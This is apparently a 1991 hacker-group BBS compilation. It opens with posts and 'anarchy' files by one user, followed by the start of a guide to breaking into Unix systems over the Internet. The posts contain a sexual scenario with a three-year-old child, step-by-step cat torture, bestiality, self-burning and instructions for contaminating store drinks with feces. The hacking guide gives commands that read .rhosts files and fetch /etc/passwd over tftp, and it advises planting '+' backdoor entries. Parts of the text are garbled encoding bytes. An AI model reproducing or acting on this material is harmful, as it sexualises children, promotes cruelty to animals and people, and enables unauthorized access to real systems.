don't want the shit to burn to the bottom of the pan. Now when your pan
full of rectal waste has churned into a luquid form. Bring out the bowl
and set the fine screen on top of the bowl. Pour the cow luquidy rectal
solids into the bowl. What this does is screen out the rocks, glass
and other materials that may cause your containment unit to burst on you
and not your victim. Now we wouldn't want that, would we. Now do this
a few time. You may need to reheat it a few times depending on the
quanity of waste you are cooking. Now examine the shit by placing your
s nger into the bowl and search for foreign object that may endanger you.
After you have completed this, pour the processed material into a balloon,
or a condom. Push all the air bubbles out, for best impact results. You
should squish it around in your hand for a while. When most of the air
bubbles are gone, tie the balloon or conme uses as follows: Travel
to you
that you despise. Such as persons that listen to Jungle Music(Rap), and
has hair styles not of this world. Just simply walk right above them,
let go of you "Scud Bomb". Deserves those kinds of people right. Walk
along a main street or intersection. When some idiot drives by in a
Mercedes, with his driver window wide open. Just give you "Scud Bomb"
a lift off to cause shit fly. But ah, if you wish to use this as a
boycott type of situation, you can. Let's say you wish to boycott
7'11 or Circle K. Go down one of you local hated stores, take a "Scud Bomb"
bust it open and dump it in a few cups and put these cups back. You can
take a few more "Scud Bombs" and bust them open in the ice dispenser. For
when someone comes up and gets ice, he/she will get a interesting softdrink.
Wierd sick'n shit
This Section is for ideas that are really disgusting. Now if you hang with
dudes that like to party, get stoned or really fucking drunk. Try to get one
of the males (drunk of course or stoned either way), to masterbate with shit.
Now make sure that you record wither. How bout this, you yourself (lguys
asshole for $200 bucks. Or Buttfuck a guy or chick, pull your dick out
and watch it becovered with green shit, with little dabs of blood dripping
off. Well enough of this kind of material.
==Damaged=====
------------------------------------------------------------------------------
Command [52 of 58]:
Feeling Suicidal? 800-666-DEAD Title: no no no no (1 Reply)
Left by Damaged Sectorz (Level 50) When: May 27, 1991 at 12:18 am
> <-602-> AoA Member < To: Anyone
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
you must do this, bend over in doggie style position and ram a one of them here
10 feet thick vibrators in your ass dry and let it burn the edges of you rectal
opening. As for the thumbtack in the floor, one you forgot mass quanities of
rubbing alcohol on the floor, along with a foot of salt too.
Damaged
Mind Itself is After Me
/a
Command [57 of 58]:
******************************************************************************
==============================================================================
The following message are from: Realm of Chaos
==============================================================================
THE UNEXPLAINED Title: elvis (2 Replies)
Left by Damaged Sectorz (Level 35) When: May 2, 1991 at 9:11 pm
> -=602 Elite=- < To: Anyone
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
his shore be alive right now. And i mean right now! mo' man i be fucking him
up the ass right now! Yessiree i be fuck'n him up the ass right now! Elivs
is alive! yes he be alive and tight!
Damaged
Mind Itself is After Me
Command [5 of 23]:
******************************************************************************
==============================================================================
The following messages are from: The Shinning Realm
==============================================================================
Number: 20/50 [-<2D>- Insane Asylum -<2D>-]
Date : Tue 14 May 1991 11:55p
From : Damaged Sectorz #37
Title : ahhh
>> This message has 1 reply
welcome to the mind of the most demented h/p dude. Today girls and girls, we
shall learn how to lick pussy juices. you may so fucking what! well this is
the bitching part about it, read it, masterbate to it, sitck a beero bottle up
yr ass(with the top broken of course).
First get you mom rfucking horny, hwo do you do this, well you can tie her
down, and finger her, but find a way. Now have her stand up, now she should
be so goddamn horny that her sweet pussy juices are ozzing out down her legs,
now gently lick her legs up and down, tongue her pussy, then lay her down and
eat your mom out, then have your dad pull out his dick and bang you up the
ass, and have your 3 year old baby sister suck your dick. Now all 4 of you
get int he bed and sux your dads dick as your mom gently applys her tongue to
you rectal areas, have her lick gently and then leave a fucking hickey on your
ass lips. Now mom, pop and you smear shit on little baby sister, now stick
your dick in her cunt
<<FREEZE>> lates dude finshi latur
Damaged
Mind Itself is After Me
[-<2D>- Insane Asylum -<2D>- #5]
[20] Read (1-50,<CR>,?=help) :
Number: 22/50 [-<2D>- Insane Asylum -<2D>-]
Date : Thu 16 May 1991 6:41p
From : Damaged Sectorz #37
Title : ahhh
just got done with my sister and my brother gently licking my anal opening.
yes it's nice to have PALS(personal ass lickers).<2E><><EFBFBD><EFBFBD>Q<EFBFBD><51><EFBFBD><EFBFBD> haven't you guys
wnondered what it would be lick to waller around in dog feces? or stick your
dick up a dogs ass. or how bout this
some 200 pound fag rapes your ass without anyubrication..
or you are in hell, and your punishment is to fuck a girl, but this girl is
dry as hell and you have to keep fucking her until she cums, but she never
does, so therefore she stays dry...(goddamn anti-perspraint)
Damaged
Mind Itself is After Me
[-<2D>- Insane Asylum -<2D>- #5]
[22] Read (1-50,<CR>,?=help) : 24
Number: 24/50 [-<2D>- Insane Asylum -<2D>-]
Date : Sat 18 May 1991 1:55a
From : Damaged Sectorz #37
Title : naaaa
the women are lesibans and your can only shove broken bottles up your ass to
get any sexual gratification
Damaged
Mind Itself is After Me
[-<2D>- Insane Asylum -<2D>- #5]
[26] Read (1-50,<CR>,?=help) : 35
Number: 35/50 [-<2D>- Insane Asylum -<2D>-]
Date : Fri 24 May 1991 8:18p
From : Damaged Sectorz #37
Title : no
now that is not the way to do this kind of thing. To be insane one must be
calm, patience, think his decieving plan through-out. this is the means to
your ends. The phun really starts when you plan kicks in and you know longer
can control your sexually excitement for virgin male asses, to have mutated
asshole babies with a new form of aids and herpes mixed and is spreaded by
their shit spraying up into the air for 50 yards. Anyways, you must be able
to endure pain, an example you may say, well forxample, i have a smiley face
(burn holes) about 6 inches long down my arm and about 3 in' high. it
consists of 2 eyes, a nose and one hella mouth. and do this job all in one
night, oh yes sit there and watch the skin being to <20><>slightly bubble, then
grow in size, then it will deflate, then the it will start runnign off your
arm exposing you pink virgin flesh beneath you skin. Now do this with your
rectal areas. You can create a homemade rib feeling, without a condom, do
this take a cigerette, and <20><>burn the edges of your rectal opening, now you
should have a phriend hold your<75><72> ass down, and another one to seperate the
rectal cheeks, and one more to burn the holes in.
<<FREEZE>> You rectal opening should look like this
^^^(
))(
()(
^^^
now see all thoughs new bumps and curves gareentee to give an stimulate sexual
experince for all you homo-heteral encounters., this little trick also works
on animals too!!
ahh shit i must go and beat my pecker with a shampoo bottle openging now
lates
Damaged
Mind Itself is After Me
s
[-<2D>- Insane Asylum -<2D>- #5]
[35] Read (1-50,<CR>,?=help) :
******************************************************************************
==============================================================================
The followings are two anarchy (GROSS) text file he wrote..
==============================================================================
:: Planned ParentHood for Phelines ::
;Damaged Sectorz
;2.14.91
;Anarchists of America
:: Introduction ::
Ok dudes this is my first Anarchy file. Anyways, the file is all about cat
abortions. Why the reason for cats, well i hate the goddamn shitheads for
specific reasons. That i won't get into. Well enjoy the file and have fun.
:: Materials Needed ::
Propane torch
Coat Hanger
Gloves <should be able to resist heat>
Rope <optional>
Nails <optional>
Hammer <optional>
Drugs
& a cat of course
:: How to get started ::
Obtain the listed materials needed. Now toke a little, fry or whatever gets
ya going dudes. Take out the coat hanger and bend it into a fairly straight
wire. Bend the wire into a U shape. Take one side of the U shape and bend
it downwards. Wrap the shortest outter wire and wrap it around the middle
wire. Ah fuck just look at the diagram below and figure it out yourselves.
_
Here is the | | now bend the wire | |
U Shape | | into this | | | <-- wrap this around
|___| | |__| the middle section
13 times for good
luck
You should also make sure that the the rounded part is small enough to fit
nice and snug into a kitty's pussy.
:: Fun Part ::
How do one go about in find a victim. Well just look around you friendly
neighbor and there should be plenty. Now don't go after the stray ones, for
more than likely have been diseased with some exotic cat veneral disease or
something. Go after the ones iwth homes, for you can strike pain and loss in
that family. Cause them to get really pissed and never have cats again.
Besides save the strays for the days when you find your mom's vibartor and
shove it up a cat's ass and turn it on and watch them run down the streets.
But back to the topic.
During the cat's obtainment and scraping, You must wear gloves, unless you
like to be scratched to hell and back. Now there are several ways to hold a
cat down. You should experiment on this. I have usualy taken a cat and nail
his damn paws to the ground. Hell take a nail gun and nail the bitch to the
middle of the street or on someone's front door. And do it from there. Let
the cat suffer for a while. While this poor ass is dying slowly pour some
alcohol on it's wounds, now we don't want this nice little kitty to get
infections do we now doctor. Pull out the noose you made earlier and heat it
up with the torch. Here you should be wearing the gloves or i promise you
that jacking off will be much harder to do. Anyways heat up the end of the
noose, wait for the shit to shine real bright orange or yellow. Some coat
hangers will even turn white. Make sure you don't melt the damn noose. Now
gently insert the heated end of the noose into the cat's pussy so the cat
doesn't freak out and shit. Now jam the motherfucker all around, in and out
real hard, you will be able to tell when you finished until the air is full
of burnt pussy stench. Make sure you get evey last one of those bastard
kittens out of there. Take what remains of the aborted fetus and other bits
of flesh into a zip lock baggie. These make nice sandwhiches for lunches and
dinners. After you have finished, pour alcohol down the cat's cunt so it no
infections will occur. Don't bother taken the nails out, just grab the body
and give a good yank. Now after this procedure, i doubt the shithead will be
able to walk away. Now to prove that you are a friendly neighbor just like
Mr. Roger, take it back to the neighbors that you found nailgun it to their
door and take a razor blade and run a quick line down from it's neck to it's
cunt and leave.
Now you really can't tell which cat, dog is pregnat so hell violate everyone
of those bright pink pussies, hell lick them real good too. The best part
about this is that it will even work on your girlfriend, if she decides to
put a hole in your rubber to make sure you don't leave her.
:: Other Sick Ideas ::
With this new knowledge that you have, you can do many other things with it.
Like for instance bring along a tape recorder or camcorder and record all
abortions. Go home and beat yourself while watching it. You can sell it to
little kids or Underground video stores. Be creative when doing this you
can make some money. Now for you sick-o's (haven't found one like me yet
but oh well). Here take a knife and gently cut the tender pink pussy flesh
of the kitty's wet hot steaming love box. Slide your love rod into and bang
the holy hell out of it. Then flip the bitch over and ram your dick into
the ass dry, you can feel the skin strech and split open. Ram it hard and
feel the blood run down you dick, around your balls (have little sister
there to lick it off) and pull out and lick the shit off your dick. Now
make sure you record this too and don't forget Captian Condom says "Cover
that Booger".
-: Damaged Sectorz :-
-: AoA :-
------------------------------------------------------------------------------
This Section is for ideas that are really disgusting. Now if you hang with
dudes that like to party, get stoned or really fucking drunk. Try to get one
of the males (drunk of course or stoned either way), to masterbate with shit.
Now make sure that you record with a camcorder. Then turn around and blackmail
his ass for some quality drugs. Now i have heard and seen pornos that do this,
some people that are kinky, and i mean really fucking kinky, like to fuck and
smear gooey mounds of shit on each other. How bout this, you yourself (let's
just say your might be a heteralsexual) decided to get down and lick some
guys asshole for $200 bucks. Or Buttfuck a guy or chick, pull your dick out
and watch it becovered with green shit, with little dabs of blood dripping
off. Well enough of this kind of material.
:: How to molest animals ::
Well welcome to another one of my sick and disgusting files that should
be rather refresh'n to most of the general public that i know. This file
wouldn't faze most dudes i know, but if you are the squemish types, just
go grab a plastic baggie and puke in it whenever you want while reading this
file. After done reading go to yer friendly neighbors house, throw it in the
microwave and nuke it for about 20 minutes. Well enuf with the intro. lates
Welcome to the "Wonderful World of Animals". Today we shall be discussing
on how to have interesting satisfing sexual pleasures with animals. We
shall be on the lines of talking of selecting a victim, penertrate your
victim, how to successfully have intercourse and reach that allmighty climax
that your need real bad and also other sexual pleasures as well.
Now every animal molester needs certain tools to help him or her along.
The following items should be thrown in to a backpack for easy carrying
around. Plus this allows you to definitely hit 3 or 4 victims a night.
The Animal Molester Kit should contain the following:
Item
---------------------------------
Knife
Vasiline
Hammer
Rubbers
Bunjie Cords
Camcorder
Drugs
Now this is the hardest thing about molesting an animal. It's the variety
of theses creatures. If it has a pussy or an asshole, then you can
stimulate yourself quite easily.
How to Select yer victim, the best thing about molesting animals
is that there is a variety. You can bang cats, dogs, sheeps, hell if you
really need bad try fucking a cow or something.
Ok you found yer victim, what now, well let's follow the Polish Notation
in sex. Rule #1: In Out, Rule #2: Repeat if nesscarry. Now you have
a choice in molesting an animal. You can bang it's pussy, but if yer luck
runs dry and you can only find a dog, get it up the ass. If you have
problems with the anal intercourse, use the vasiline for easier penetration.
But what if yer dick is bigger than the pussy and asshole(yea right), well if
you fit that category just fucking make it bigger with the damn knife. Now
if yer victim resists, just slam it on top of the head with yer pecker, but
if yer limp, just knock around on its head with the hammer. Now you can
use a rubber or such what (Fuck Dr. Ruth), but i perfer Flesh to Flesh. Hell
the blood running around yer dick could be exciting. Imagine it's like
busting a virgin everytime. So go out and fuck until you Drop!
Other Sick Shit
Boy now lets say yer the kinky type, now i wouldn't recommend you to try
to stick yer dick in an animal's mouth. If you do expect the shithead to
bite it off. Now you don't wanna be jumping around with blood squirting
outta the base of yer dick now would you? Anyways if you get off on sucking
dogs dicks and shit go for it. Try fingering a horse or something too. Or
Give a Cow a nice mouth watering rim job. If yer male and gay (don't know
how this would be done but...) try to have a horse fuck you up the ass, seems
a little possible but it fits on this sub title for all i care. Now also
make sure you tape every sexual intercourse with different animals, so you can
go home and watch while eat'n some popcorn and playing with yer girlfriend's
tits, while she's upheaving in your lap.
Well dudes nice quick and dirty file, but hey it was an idea. But hey it's
a wierd concept and i like wierd sick shit. Well have phun guys and don't
be stupid and catch some lame ass animal veneral disease.
******************************************************************************
==============================================================================
==============================================================================
Well dude... it's finally happened, I don't know how long it will be before
you get a chance to read this.. I sure it will be soon, since you said you
can have some1 bring it to you printed. Hmmm, I was more then happy to pub-
lish this for you. We were more then just friends, we were companions, and
I am sure I speak for the many that know you when I say that I will miss
your disgusting and filthy posts and raw, vulgar, crude and halarious sense
of humor (if humor is what you want to call it..). I am just sorry this file
couldn't be more complete.. it is only from 3 boards and it's very raw...
Well later dude.. and don't bend over to pick up any soap (unless of course
you like dry anal sex...) Aloha dude from California...
- Captain Swashbuckler
LoL-Phuck President!
Well I don't know how many of you knew Damaged Sectorz but he was
a great guy. A little sick but he was kewl. He was like one of my BEST
friends. I knew him for about 2 months before they got him. And believe
me, when I heard what had happened I was pissed. I talked to him the next
day for 30-60 seconds. It was hard to count. He said he was being busted
for TymNet, Hacking a government system and numerous other things. He then
had to hang up. I haven't talked to him again and I am waiting in antici-
pation. I am just sad he is gone.
- MCi SPRiNtER

<30><6D><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<35><43><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <31><6D> <30><6D><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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<31><6D><36><30><6D><EFBFBD> <31><6D><EFBFBD><EFBFBD><31><34><31><6D><EFBFBD><EFBFBD><30><6D><EFBFBD>
<36><36><30><6D><EFBFBD> <31><6D><EFBFBD><EFBFBD><EFBFBD><31><36><30><6D><EFBFBD><EFBFBD><EFBFBD> <30><6D><EFBFBD>
<30><43><37><30><6D><EFBFBD><EFBFBD><31><38><31><6D><EFBFBD><EFBFBD> <30><31><6D><EFBFBD>
<31><31><31><6D><EFBFBD><31><31><30><6D><EFBFBD><EFBFBD><30><6D><31><6D>
<33><43><EFBFBD><EFBFBD><EFBFBD><38><43><31><30><6D><EFBFBD><EFBFBD>
<30><6D><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><39><43><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><31><30><6D><EFBFBD><EFBFBD><EFBFBD>
<30><6D><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <31><31><6D><EFBFBD><EFBFBD>
<31><31><6D><31>
"Anarchy is the base of todays society, without it, we would be in chaos"
- Anarchist
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
(<28>)egions (<28>) (<28>)ucifer - (P)hone (H)ackers (U)nited (C)rash (K)ill
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Call these <20>.<2E>.<2E>-Phuck support boards for information or application
inquiries:
West Coast Technologies, Inc. 213/274+1333 <20>.<2E>.<2E>-Phuck World HQ1 AftrShk Beta
The Magical Mystery Board [TEMP--DOWN] <20>.<2E>.<2E>-Phuck World HQ2 THG Site
Entropy 415/614+2071 <20>.<2E>.<2E>-Phuck Dist Site DHS Site
CyberNet 504-1 504/272/1710 <20>.<2E>.<2E>-Phuck Dist Site GCA Site
Interpol II +46-8-29-6716 <20>.<2E>.<2E>-Phuck Sweden SHA HQ
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Prezident of [<5B>.<2E>.<2E>] : Captain Swashbuckler
Prezident of [Phuck] : Tripin Face
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This text file is (C)Copyright 1990,91 <20>.<2E>.<2E>-Phuck, Inc.
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Any modifications to this text phile is a violation of copyright.
West Coast Technologies, Inc. 213/274+1333
The Magical Mystery Board [>TEMPDOWN<]
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==============================================================================
Volume 2, Issue 01 ---------------------------------- Thursday August 29, 1991
==============================================================================
Legions of Lucifer - Phone Hackers United to Crash & Kill < LoL-Phuck >
LoL-Phuck, Inc. / Issue Number 2.01 08.29.1991
(C)Copr 1990,91 Cypher Productions - All rights reserved.
==============================================================================
Legions of Lucifer founded on January 20, 1990 by: Digitone Cypher
PHUCK, INC. Founded in 1986 by: Tripin Face (aka Cobra Commander)
------------------------------------------------------------------------------
Legions of Lucifer merged with PHUCK, INC on January 15, 1991 at 11:41pm PST!
(That is the same day the Persian Gulf War started [Operation Desert Storm])
We are now: LoL-Phuck
------------------------------------------------------------------------------
Note: Any and all information found in this production is not to be used or
intended to be released to due any harm to anyone. This is mearly for 100%
informational purposes only and neither writers, staff members, submitters nor
anyone else that has anything to do with this released issue should be held
resonsible for the deeds and misgivings that intentional may readers preform.
------------------------------------------------------------------------------
All text file submissions should go to:
West Coast Technologies, Inc. @ +1-213-274-1333
(Use the guest account; User Name: GUEST Password: GUEST)
------------------------------------------------------------------------------
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
------------------------------------------------------------------------------
EDITORS/PRESIDENTS NOTE:
Okay basically, I am proud to say that LoL-Phuck is back from the "DEAD"
to bring you finally good quality reading material. I am going to tell
you guys right now, that we will not be producing that many text files,
we will just release when we feel like it, and not on a monthly kind
of basis. We are infact looking for writers, so if you do want to apply,
you can find it in this text file where to. This certain file, is a joint
release between SHA (a Swedish Hacking Group) and LoL-Phuck, so I hope
you all like it... I would also, like to note that starting from this
text file, LoL-Phuck will be totally different, this is the NEW and very
IMPROVED Legions of Lucifer-Phuck. Watch for the hot text files and
releases we will be producing in the months to come..
Starting on November 2, 1991 "West Coast Technologies, Inc" will be changing
area codes from 213 to 310. There will be a 6-Month period from November 2,
1991 to May 2, 1992, when both the new and the old ways of completing the
calls to this number (274-1333) will work. Beginning May 2, 1992, calls
dialed to the incorrect area code (213) will not be completed. You will
reach a recording explaining the new dialing procedures and you will need to
re-dial using the correct area code (310).
...Also, as you all know by now, there is a text file called "LOL-21.TXT"
which was supposedly written by me, that is like a "Sexual Biography", I
am going to state for the record that I *DID NOT* write that trash. Now,
The next official issue will be "LOL-022.TXT" since #21 has been taken by
the bogus text file, and we wouldn't want them to get confused now would
we? This kinda of thing has happened before, I believe it was Issue #9,
some jokers did the same prank, so I know how to handle it. Anyways, I
would like to thank the rest of you for all your support.
Digitone Cypher
LoL-Phuck President
08-29-91
I may be contacted at the following internet addresses:
UUCP: {hplabs!hp-sdd ucsd nosc}!crash!pnet01!dcypher
ARPA: crash!pnet01!dcypher@nosc.mil
INET: dcypher@pnet01.cts.com
##############################################################################
----------------------[ Hacking UNIX Through Internet! ]----------------------
##############################################################################
Written by: Mr Big <SHA> Release Date: Thursday August 29, 1991
Editied by: Digitone Cypher Release Numb: 20th Issue
------------------------------------------------------------------------------
This file is released in a joint venture with Swedish Hackers Association
in Sweden.
Note: S.H.A. are not members of LoL-Phuck, nor are LoL-Phuck members
of S.H.A., both groups are separate to each other, this is a only
a exchange in knowledge and assistance.
Legions of Lucifer-Phuck is always looking for submissions of text files
from small groups and from solo writers for worldwide distribution.
We are also look for Distribution Sites and full/half-time writers. I
can be contacted at the LoL-Phuck HQ @ 213/274+1333... thank you.
----------------
- Introduction -
----------------
I decided to write this file since I feel that there are no complete
files about hacking unix systems. Many files only cover some small part
in the art of hacking unix, and they don't cover hacking through
Internet where aprox. 80% of all hacking takes place. I will not state
that this file isn't complete either, since I have, on purpose, left out
many things, i.e. bugs in programs that might be exploited, as the Internet
Worm did. The reason I did this is because they will not be up-to-date for
very long, even though some sites don't install all patches that are
released. A good source for all these bugs are comp.unix.wizard,
comp.unix.source and other newsgroups.
This file isn't supposed to be for the beginner, so not everything in this
file is explained in detail. YOU should have common knowledge of unix and
Internet.
/Mr Big - S.H.A.
---------------------------[ Internet Section ]-----------------------------
------------
- Internet -
------------
In the beginning a US Goverment network existed nationwide. When it
grew larger the network where split into two networks, one research-
(Arpanet) and one millitary network (Milnet). Later thousands of other
networks worldwide where also connected and then Internet was born.
Internet is a good way of hacking unix systems. There are more than
ten thousand computer systems connected to Internet worldwide, running
diffrent OS's, but Unix's are the major one used. You are also able to reach
other networks or domains through Internet as ARPA network, NASA or the NSA
network among others since they are part of the Internet.
Approxitly 80% of all hacking take part on Internet. So be aware of
that goverment agencies are watching known hacking sites and other sources
for hackers.
There are also many outdials connected to Internet worldwide that can
be used for free calls, but this file isn't about that. Maybe I will compile
my list of outdials some day and release it, but that is in the future.
How do I get connected to Internet? Well, find you local dialup or go
through some University, since most of them are connected to Internet.
You can use the MIT Dialup if you don't have anything else:
MIT LCS Network Dialup (617) 258-7111
(I'm sorry that I can't supply you with a whole list of dialups, but
since I'm from Sweden, I don't have the needs for US Dialups.)
WARNING: Even if Internet seems to be untraceable, they can easily find
out where you are hacking from. It's a bit harder if you
use gateways before hacking, and don't use your own account
unless you want to be in deep shit!
-------
- IRC -
-------
Internet Relay Chat or IRC for short, is a worldwide multi-chat system
where users can exchange and discuss stuff real-time with the rest of the
world. IRC has many channels you can use - both public, private and hidden.
There are many users using this and you can easily get help and information
this way, since many people out there knows what they are doing.
Be aware that goverment agencies, like NCSA, might be tapping the public
forums and users using them, atleast I would...
Use this IRC server if you don't have anything else:
bradenville.andrew.cmu.edu (128.2.54.2)
------------
- Outdials -
------------
There are also outdials on Internet that you can use. I will not include
a list of those, since I know if they are abused, they will go down. You
have to do your own search for them.
----------
- Telnet -
----------
Telnet is more or less equal to Internet. With Telnet you can access other
systems on the Internet by entering the IP number or the same address of
the computer.
This is the most common way of connecting to other systems, even if there
are other ways too... i.e. rlogin among others...
#telnet [HOST] [PORT]
Where HOST is the IP address or the name of the computer, and PORT is the
port to connect to at the remote site.
The port number range from 0-9999. Ports 0-255 are standard ports and well
defined in unix. Ports 256-1023 are well known ports. Ports 1024-4999 are
user defined ports. Ports from 5000 and upward are nondefined ports.
Here are a small list of common port numbers and what they do:
21 FTP _ File Transfer Protocoll
25 SMTP - Or Simple Mail Transfer Protocol.
79 Finger - Reports information of users on remote system.
-------
- Ftp -
-------
File Transfer Protocol or FTP for short is a powerful way to send and
receive files between Internet connected hosts.
Many sites have set up their systems for anonymous ftp. They have done
this since they want everyone to be able to get files and information
without having a password. You should respect the ftp hours that are
common, i.e. do NOT ftp at local business times, since these systems
are used in companys, and work most of the time, and if you use ftp during
these hours, they might close the opportunity for us to use ftp, and I
would hate it if that happend.
#ftp [HOST]
Where HOST are the IP address or the name of the computer.
----------
- Usenet -
----------
Some people say that Usenet is the world larges BBS around, and in some
sense they are right. Usenet consists of over 1000 forums for various
topics, with hundreds of thosands of users worldwide using it.
Many good forums for Unix information exists, i.e.
misc.security
comp.unix.vizard
comp.unix.source
comp.security.announce
alt.security
To use Usenet news just type:
#rn <- This command might vary from
system to system.
--------
- CERT -
--------
CERT or Computer Emergency Respons Team is an organization which main
purpose are to help and prevent unautorized access to computer systems.
They publish bug fixes for security holes in diffrent OS's, mainly in
comp.security.announce. They also have their own site and support for
anonymous ftp so you can directly ftp bug fixes from them or tools that
helps system administrators to check the security on their own systems.
One good system administration tool for checking the security on your own
system are COPS, even if it dosen't detect all bugs that exists.
System Managers: If you think you have a compromised system, I suggest that
you contact CERT for assistance.
The Internet address for CERT is:
cert.sei.cmu.edu (128.237.253.5)
------------------------------[ Unix Section ]-------------------------------
--------------------
- Attacking target -
--------------------
Well... first we need an account on a remote system.. How do we get it?
There are no easy ways for this, unless your system is trusted.
It isn't easy even if your system is trusted, but it is easier :-)
- .rhosts -
Check out your own and other users .rhosts files.
These files contains those machines and users that are trusted to log into
the account, in which home group it resist, without any password.
Note: You must use rlogin to use this feature.
#cat .rhosts
albert guest
gnu.ai.mit.edu +
#
The plus (+) sign indicates that all users on gnu.ai.mit.edu are trusted to
use this account without a password, and hopefully this user can log in on
the same account on gnu.ai.mit.edu whithout a password.
Note: You can set "+ +" to allow anyone anywhere to use the account,
but be aware of that if the user dosen't have to enter his own
password, he WILL contact the system administrators at his site.
To scan all users .rhosts files use the following:
#find / -name .rhosts -exec /bin/cat {} ";"
If you stumble in on an account, then I suggest you add one entry to
the .rhosts file to include the hostaddress of a system that allows guest
users, and a plus sign (+). By doing this you don't have to create a shell
with suid that can be discovered and you don't even have to hack another
account to use the one you stumbled on.
Remeber that the user or root must own the .rhosts file on many newer
systems, i.e. Sun OS 4.x.
- /etc/hosts.equiv -
/etc/hosts.equiv contains system wide trusted remote sites.
#cat /etc/hosts.equiv
albert
+@gnu.ai.mit.edu
+
#
If /etc/hosts.equiv contains a plus sign (+) then all hosts are trusted.
Many Sun system are deliverd with /etc/hosts.equiv set up this way.
- finger -
You can also always try to get some accounts on a remote site by using
"finger @remotesite" and then guessing passwords...
You can even try "finger user@remotesite", where user is a possible user
on the remote site, i.e. guest to see if they have a guest account.
- tftp -
Some systems running tftp - Trivial FTP, have a bug allowing you
to copy files that contain slashes, normaly tftp impose the security
that the file must be world readable, but since /etc/passwd are
world readable, try this:
#tftp remotesite
tftp> get /etc/passwd <- Try snatching /etc/passwd
Recieved 30216 bytes in 32 seconds.
tftp> quit
#
Note: Even if you are not physicaly are logged in at the remote host,
this action is stored in the log files on the remote system.
- ftp -
